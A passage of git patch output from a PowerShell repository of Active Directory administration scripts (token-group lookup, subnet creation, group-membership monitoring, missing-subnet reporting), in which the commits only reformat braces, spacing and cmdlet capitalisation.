Where-Object { $_.name -notlike "*no user or group*" } Write-Verbose -Message "[PROCESS] $item - Compare Block Done !" <# Troubleshooting @@ -693,7 +695,7 @@ PROCESS { # GroupName Membership export to CSV Write-Verbose -Message "[PROCESS] $item - Exporting the current membership to $StateFile" - $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation -Encoding Unicode + $Members | Export-Csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation -Encoding Unicode # Export HTML File IF ($PSBoundParameters['HTMLLog']) { @@ -731,17 +733,17 @@ PROCESS { Throw $_ #Quest Snappin Errors - if ($ErrorProcessGetQADGroup) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item in Active Directory" } - if ($ErrorProcessGetQADGroupMember) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item members in Active Directory" } + if ($ErrorProcessGetQADGroup) { Write-Warning -Message "[PROCESS] QUEST AD - Error When querying the group $item in Active Directory" } + if ($ErrorProcessGetQADGroupMember) { Write-Warning -Message "[PROCESS] QUEST AD - Error When querying the group $item members in Active Directory" } #ActiveDirectory Module Errors - if ($ErrorProcessGetADGroup) { Write-warning -Message "[PROCESS] AD MODULE - Error When querying the group $item in Active Directory" } - if ($ErrorProcessGetADGroupMember) { Write-warning -Message "[PROCESS] AD MODULE - Error When querying the group $item members in Active Directory" } + if ($ErrorProcessGetADGroup) { Write-Warning -Message "[PROCESS] AD MODULE - Error When querying the group $item in Active Directory" } + if ($ErrorProcessGetADGroupMember) { Write-Warning -Message "[PROCESS] AD MODULE - Error When querying the group $item members in Active Directory" } # Import CSV Errors - if ($ErrorProcessImportCSV) { Write-warning -Message "[PROCESS] Error Importing $StateFile" } - if ($ErrorProcessCompareObject) { Write-warning -Message "[PROCESS] Error when comparing" } - if ($ErrorProcessImportCSVChangeHistory) { Write-warning -Message "[PROCESS] Error Importing $file" } + if ($ErrorProcessImportCSV) { Write-Warning -Message "[PROCESS] Error Importing $StateFile" } + if ($ErrorProcessCompareObject) { Write-Warning -Message "[PROCESS] Error when comparing" } + if ($ErrorProcessImportCSVChangeHistory) { Write-Warning -Message "[PROCESS] Error Importing $file" } throw $_ }#CATCH From 02768f0d9d5343dee14b635b827e7261ff9eb4b5 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:30:34 -0800 Subject: [PATCH 258/561] Update format --- .../Get-ADSITokenGroup.ps1 | 59 ++++++++----------- 1 file changed, 26 insertions(+), 33 deletions(-) diff --git a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 index 88becc9e..edfe31ab 100644 --- a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 +++ b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 @@ -1,5 +1,4 @@ -function Get-ADSITokenGroup -{ +function Get-ADSITokenGroup { <# .SYNOPSIS Retrieve the list of group present in the tokengroups of a user or computer object. @@ -54,14 +53,11 @@ [Alias('ResultLimit', 'Limit')] [int]$SizeLimit = '100' ) - BEGIN - { + BEGIN { $GroupList = "" } - PROCESS - { - TRY - { + PROCESS { + TRY { # Building the basic search object with some parameters $Search = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' $Search.SizeLimit = $SizeLimit @@ -70,15 +66,13 @@ $Search.Filter = "(&((objectclass=user)(samaccountname=$SamAccountName)))" # Credential - IF ($PSBoundParameters['Credential']) - { + IF ($PSBoundParameters['Credential']) { $Cred = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList $DomainDistinguishedName, $($Credential.UserName), $($Credential.GetNetworkCredential().password) $Search.SearchRoot = $Cred } # Different Domain - IF ($DomainDistinguishedName) - { + IF ($DomainDistinguishedName) { IF ($DomainDistinguishedName -notlike "LDAP://*") { $DomainDistinguishedName = "LDAP://$DomainDistinguishedName" }#IF Write-Verbose -Message "[PROCESS] Different Domain specified: $DomainDistinguishedName" $Search.SearchRoot = $DomainDistinguishedName @@ -93,32 +87,31 @@ $($AccountGetDirectory.Get("tokenGroups")) | - ForEach-Object -Process { - # Create SecurityIdentifier to translate into group name - $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) - - # Prepare Output - $Properties = @{ - SamAccountName = $Account.properties.samaccountname -as [string] - GroupName = $principal.Translate([System.Security.Principal.NTAccount]) + ForEach-Object -Process { + # Create SecurityIdentifier to translate into group name + $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) + + # Prepare Output + $Properties = @{ + SamAccountName = $Account.properties.samaccountname -as [string] + GroupName = $principal.Translate([System.Security.Principal.NTAccount]) + } + + # Output Information + New-Object -TypeName PSObject -Property $Properties } - - # Output Information - New-Object -TypeName PSObject -Property $Properties - } } | Group-Object -Property groupname | ForEach-Object { New-Object -TypeName PSObject -Property @{ SamAccountName = $_.group.samaccountname | Select-Object -Unique - GroupName = $_.Name - Count = $_.Count + GroupName = $_.Name + Count = $_.Count }#new-object }#Foreach - }#TRY - CATCH - { - $PSCmdlet.ThrowTerminatingError($_) - } - }#PROCESS - END { Write-Verbose -Message "[END] Function Get-ADSITokenGroup End." } + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } +}#PROCESS +END { Write-Verbose -Message "[END] Function Get-ADSITokenGroup End." } }#Function \ No newline at end of file From dee1fa9c188a2ac8bbeb844839c77e0bbe0f2f0c Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:31:02 -0800 Subject: [PATCH 259/561] Update format --- AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 | 96 ++++++++++----------- 1 file changed, 48 insertions(+), 48 deletions(-) diff --git a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 index ba721e28..a537330b 100644 --- a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 +++ b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 @@ -1,5 +1,5 @@ -Function Add-ADSubnet{ -<# +Function Add-ADSubnet { + <# .SYNOPSIS This function allow you to add a subnet object in your active directory using ADSI @@ -48,63 +48,63 @@ [CmdletBinding()] PARAM( [Parameter( - Mandatory=$true, - Position=1, - ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true, - HelpMessage="Subnet name to create")] + Mandatory = $true, + Position = 1, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = "Subnet name to create")] [Alias("Name")] [String]$Subnet, [Parameter( - Mandatory=$true, - Position=2, - ValueFromPipelineByPropertyName=$true, - HelpMessage="Site to which the subnet will be applied")] + Mandatory = $true, + Position = 2, + ValueFromPipelineByPropertyName = $true, + HelpMessage = "Site to which the subnet will be applied")] [Alias("Site")] [String]$SiteName, [Parameter( - ValueFromPipelineByPropertyName=$true, - HelpMessage="Description of the Subnet")] + ValueFromPipelineByPropertyName = $true, + HelpMessage = "Description of the Subnet")] [String]$Description, [Parameter( - ValueFromPipelineByPropertyName=$true, - HelpMessage="Location of the Subnet")] + ValueFromPipelineByPropertyName = $true, + HelpMessage = "Location of the Subnet")] [String]$location ) - PROCESS{ - TRY{ - $ErrorActionPreference = 'Stop' - - # Distinguished Name of the Configuration Partition - $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext - - # Get the Subnet Container - $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" - - # Create the Subnet object - Write-Verbose -Message "$subnet - Creating the subnet object..." - $SubnetObject = $SubnetsContainer.Create('subnet', "cn=$Subnet") - - # Assign the subnet to a site - $SubnetObject.put("siteObject","cn=$SiteName,CN=Sites,$Configuration") - - # Adding the Description information if specified by the user - IF ($PSBoundParameters['Description']){ - $SubnetObject.Put("description",$Description) - } - - # Adding the Location information if specified by the user - IF ($PSBoundParameters['Location']){ - $SubnetObject.Put("location",$Location) - } - $SubnetObject.setinfo() - Write-Verbose -Message "$subnet - Subnet added." - }#TRY - CATCH{ - $PSCmdlet.ThrowTerminatingError($_) - }#CATCH + PROCESS { + TRY { + $ErrorActionPreference = 'Stop' + + # Distinguished Name of the Configuration Partition + $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext + + # Get the Subnet Container + $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" + + # Create the Subnet object + Write-Verbose -Message "$subnet - Creating the subnet object..." + $SubnetObject = $SubnetsContainer.Create('subnet', "cn=$Subnet") + + # Assign the subnet to a site + $SubnetObject.put("siteObject", "cn=$SiteName,CN=Sites,$Configuration") + + # Adding the Description information if specified by the user + IF ($PSBoundParameters['Description']) { + $SubnetObject.Put("description", $Description) + } + + # Adding the Location information if specified by the user + IF ($PSBoundParameters['Location']) { + $SubnetObject.Put("location", $Location) + } + $SubnetObject.setinfo() + Write-Verbose -Message "$subnet - Subnet added." + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + }#CATCH }#PROCESS Block - END{ + END { Write-Verbose -Message "Script Completed" }#END Block }#Function Add-ADSubnet \ No newline at end of file From 8ff2fca39e5d4fffc1cfda677a47f1cd7771c556 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:31:13 -0800 Subject: [PATCH 260/561] Update format --- ...ind_missing_subnets_in_ActiveDirectory.ps1 | 110 +++++++----------- 1 file changed, 43 insertions(+), 67 deletions(-) diff --git a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 index 4852b755..f5e36159 100644 --- a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 +++ b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 @@ -81,7 +81,7 @@ PARAM ( [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or FQDN)")] [String]$EmailServer, - [ValidateRange(0,65535)] + [ValidateRange(0, 65535)] [int]$EmailServerPort = 25, [String]$EmailSubject = "Report - Active Directory - SITE - Missing Subnets", @@ -90,20 +90,17 @@ PARAM ( [Switch]$KeepLogs, - [ValidateScript({ Test-Path -Path $_})] + [ValidateScript( { Test-Path -Path $_ })] [String]$HTMLReportPath ) -BEGIN -{ - TRY - { +BEGIN { + TRY { # PATH Information $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) $ScriptPathOutput = $ScriptPath + "\Output" - IF (-not (Test-Path -Path $ScriptPathOutput)) - { + IF (-not (Test-Path -Path $ScriptPathOutput)) { Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" New-Item -Path $ScriptPathOutput -ItemType Directory -ErrorAction 'Stop' | Out-Null } @@ -127,7 +124,7 @@ BEGIN "TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse}" + "TH{border-width: 1px;padding: 3px;border-style: solid;border-color: black;background-color:`"#00297A`";font-color:white}" + "TD{border-width: 1px;padding-right: 2px;padding-left: 2px;padding-top: 0px;padding-bottom: 0px;border-style: solid;border-color: black;background-color:white}" + - ""+ + "" + '